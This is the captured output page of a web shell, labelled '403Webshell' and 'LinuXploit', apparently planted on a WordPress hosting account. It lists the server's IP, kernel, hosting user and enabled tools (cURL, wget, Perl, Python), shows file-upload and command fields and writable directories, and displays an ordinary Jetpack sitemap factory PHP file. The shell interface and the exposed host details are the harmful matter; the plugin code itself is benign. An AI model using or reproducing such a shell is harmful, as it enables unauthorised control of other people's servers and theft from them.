403Webshell
Server IP : 172.67.214.6  /  Your IP : 216.73.216.84
Web Server : LiteSpeed
System : Linux premium900.web-hosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : redwjova ( 1790)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/redwjova/fyntric.com/wp-content/plugins/jetpack/modules/sitemaps/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/redwjova/fyntric.com/wp-content/plugins/jetpack/modules/sitemaps/sitemap-buffer-factory.php
<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
/**
 * Factory class for creating sitemap buffers.
 *
 * @since 14.6
 * @package automattic/jetpack
 */

/**
 * Creates the appropriate sitemap buffer based on available PHP extensions.
 *
 * @since 14.6
 */
class Jetpack_Sitemap_Buffer_Factory {

	/**
	 * Create a new sitemap buffer instance.
	 *
	 * @since 14.6
	 *
	 * @param string $type       The type of sitemap buffer ('page', 'image', 'video', etc.).
	 * @param int    $item_limit The maximum number of items in the buffer.
	 * @param int    $byte_limit The maximum number of bytes in the buffer.
	 * @param string $time       The initial datetime of the buffer.
	 *
	 * @return Jetpack_Sitemap_Buffer|null The created buffer or null if type is invalid.
	 */
	public static function create( $type, $item_limit, $byte_limit, $time = '1970-01-01 00:00:00' ) {

		/**
		 * Hook to allow for XMLWriter usage.
		 *
		 * Temporary filter to disallow XMLWriter usage.
		 *
		 * @since 14.7
		 * @module sitemaps
		 *
		 * @param bool $use_xmlwriter Whether to use XMLWriter. Current default is false.
		 */
		$use_xmlwriter = apply_filters( 'jetpack_sitemap_use_xmlwriter', false );

		// First try XMLWriter if available
		if ( $use_xmlwriter && class_exists( 'XMLWriter' ) ) {
			$class_name = 'Jetpack_Sitemap_Buffer_' . ucfirst( $type ) . '_XMLWriter';
			if ( class_exists( $class_name ) ) {
				return new $class_name( $item_limit, $byte_limit, $time );
			}
		}

		// Then try DOMDocument
		if ( class_exists( 'DOMDocument' ) ) {
			$class_name = 'Jetpack_Sitemap_Buffer_' . ucfirst( $type );
			if ( class_exists( $class_name ) ) {
				return new $class_name( $item_limit, $byte_limit, $time );
			}
		}

		// Finally fall back to the basic implementation
		$class_name = 'Jetpack_Sitemap_Buffer_' . ucfirst( $type ) . '_Fallback';
		if ( class_exists( $class_name ) ) {
			return new $class_name( $item_limit, $byte_limit, $time );
		}

		return null;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit